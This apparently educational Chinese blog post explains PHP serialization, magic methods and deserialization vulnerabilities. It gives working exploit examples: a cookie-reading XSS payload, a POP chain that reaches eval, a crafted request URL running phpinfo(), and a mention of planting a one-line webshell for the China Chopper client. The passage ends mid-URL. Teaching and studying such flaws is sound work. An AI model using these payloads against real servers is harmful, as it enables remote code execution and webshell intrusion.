PHP序列化及反序列化分析学习小结
PHP反序列化
最近又遇到php反序列化,就顺便来做个总结。
0x01 PHP序列化和反序列化
php序列化:php对象 序列化的最主要的用处就是在传递和保存对象的时候,保证对象的完整性和可传递性。序列化是把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。序列化后的字节流保存了php对象的状态以及相关的描述信息。序列化机制的核心作用就是对象状态的保存与重建。
php反序列化:php客户端从文件中或网络上获得序列化后的对象字节流后,根据字节流中所保存的对象状态及描述信息,通过反序列化重建对象。
简单来说,序列化就是把实体对象状态按照一定的格式写入到有序字节流,当要用到时就通过反序列化来从建对象,恢复对象状态,这样就可以很方便的存取数据和传输数据。
序列化例子:
<?php
class test{
public $name = 'lu';
private $name2 = 'lu';
protected $name3 = 'lu';
}
$test1 = new test();
$object = serialize($test1);
print_r($object); ?>
最后输出:O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"testname2";s:2:"lu";s:8:"*name3";s:2:"lu";}
注意:序列化对象时,不会保存常量的值。对于父类中的变量,则会保留
,序列化他只序列化属性,不序列化方法。
简单介绍下具体含义
但是我们注意到上面的例子序列化的结果有些不对。那是因为序列化public private protect参数会产生不同结果,test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串但是序列化输出的值不相同。
通过对网页抓取输出是这样的
`O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"\00test\00name2";s:2:"lu";s:8:"*\00*\00name3";s:2:"lu";}
public的参数变成 name private的参数被反序列化后变成 \00name\00name2 protected的参数变成 \00*\00name3
反序列化试例:
?php
class lushun{
var $test = '123';
}
$class2 = 'O:6:"lushun":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
//我们在这里用 unserialize() 还原已经序列化的对象
$class2_un= unserialize($class2); //此时的 $class2_un 已经是前面的test类的实例了
print_r($class2_unser);
echo "</br>";
?>
一般反序列化后必须要在当前作用域有对应的类(因为不会序列化方法),实例才能正确使用,所以再进行反序列化攻击的时候就是依托类属性进行,找到我们能控制的属性变量,在依托它的类方法进行攻击。将上面定义的lushun类删除之后。结果
提示不完整的类
unserialize():将经过序列化的字符串转换回PHP值
0x02 PHP序列化漏洞是怎么产生的
要了解在序列化和反序列化之间的漏洞,我们先要了解PHP里面的魔术方法,魔术方法一般是以__开头,通常都设置了某些特定条件来触发。这里先提一下有个印象。
PHP的魔法函数
__wakeup, unserialize() 执行前调用
__destruct, 对销毁的时候调用
__toString, 类被当成字符串时的回应方法
__construct(),当对象创建(new)时会自动调用,注意在unserialize()时并不会自动调用
__sleep(),serialize()时会先被调用
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
那么漏洞出现在哪呢。
序列化本身没有问题,问题还是那个经典的老大难:用户输入,我们可以控制序列化和反序列化的参数,就可以篡改对象的属性来达到攻击目的。为了达到我们想实现的目的,就必须对序列化和反序列化过程进行详尽的了解,利用或者绕过某些魔法函数。
来一个例子
<?php
class test{
public $target = 'this is a test';
function __destruct(){
echo $this->target;
}
}
$a = $_GET['test'];
$c = unserialize($a);
?>
我们构造一个反序列化来修改$target的内容,就可以制造一个xss弹窗,既然我们可以控制$a的输入
<?php
class test{
public $target = '<script>alert(document.cookie);</script>';
}
$a = new test();
$a = serialize($a);
echo $a;
?>
0x03 魔法函数的触发顺序
我们重点关注以下几个魔法函数
这里我们着重关注一下几个:
- 构造函数
__construct()
:当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。 - 析构函数_
_destruct()
:当对象被销毁时会自动调用。 -
__wakeup()
:如前所提,unserialize()时会自动调用。 -
__toString()
当一个对象被当作一个字符串使用
*__sleep()
在对象在被序列化之前运行,用于清理对象,并返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致一个E_NOTICE错误。
测试代码
<?php
class lushun{
public $test = '123';
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __sleep(){
echo "__sleep";
echo "</br>";
return array('test');
}
function __toString(){
return "__toString"."</br>";
}
function __conStruct(){
echo "__construct";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
}
$lushun_1 = new lushun();
$data = serialize($lushun_1);
$lushun_2 = unserialize($data);
print($lushun_2);
print($data."</br>");
?>
输出结果:
可以看到__destruct函数执行了两次,说明有两个对象被销毁,一个是实例化的对象,还有一个是反序列化后生成的对象。
0x04 魔法方法的攻击
先来看个例子
<?php
class One {
private $test;
function __construct() {
$this->test = new Bad();
}
function __destruct() {
$this->test->action();
}
}
class Bad {
function action() {
echo "1234";
}
}
class Good {
var $test2;
function action() {
eval($this->test2);
}
}
unserialize($_GET['test']);
可以看到需要我们传入一个序列化后的字符串作为参数,然后看定义了三个类第一个One类里有两个魔法函数,一个构造函数一个析构函数,构造函数把One类的test属性变成Bad类的实例,析构函数就执行action()方法,但是到现在还是没发现什么有价值的东西,再往下看Good类里有eval函数,这个函数很危险能够执行php命令,知道了这些想想怎么能利用上,如果我们能将构造函数的test属性从Bad类转到Good类,再给Good类的test变量定义一个可以执行的值,是不是就可以用上了呢。看一下实现代码。
<?php
class One {
private $test;
function __construct() {
$this->test = new Good();
}
}
class Good {
var $test2="phpinfo();";
}
$A = new One;
print(serialize($A));
这里可能你也有个疑问,php序列化的时候是不会序列化方法的,但是这里序列化之后还是带着构造方法所引用的对象信息,我将构造方法删除之后,在执行了一次,是这样的。
发现构造函数还是影响了序列化的操作,这里着实困扰了我一阵,后来发现是我傻了,在序列化之前已经先new了一个对象构造函数已经先执行了,已经将test的属性改为Good类的对象了,所以序列化时自然会带上Good类。
接下来就可以用生成的序列化结果复制出来,像之前的代码发起请求
192.168.0.103/13.php?test=O:3:”One”:1:{s:9:”%00One%00test”;O:4:”Good”:1:{s:5:”test2″;s:10:”phpinfo();”;}}
注意:test是private类型,记得加上%00xx%00,我们在传输过程中绝对不能忘掉.
这里我还尝试了一下把$test2的值换成一句话马
然后构造url用菜刀连接
http://192.168.0.103/13.php?test=O:3:”One”:1:{s:9:”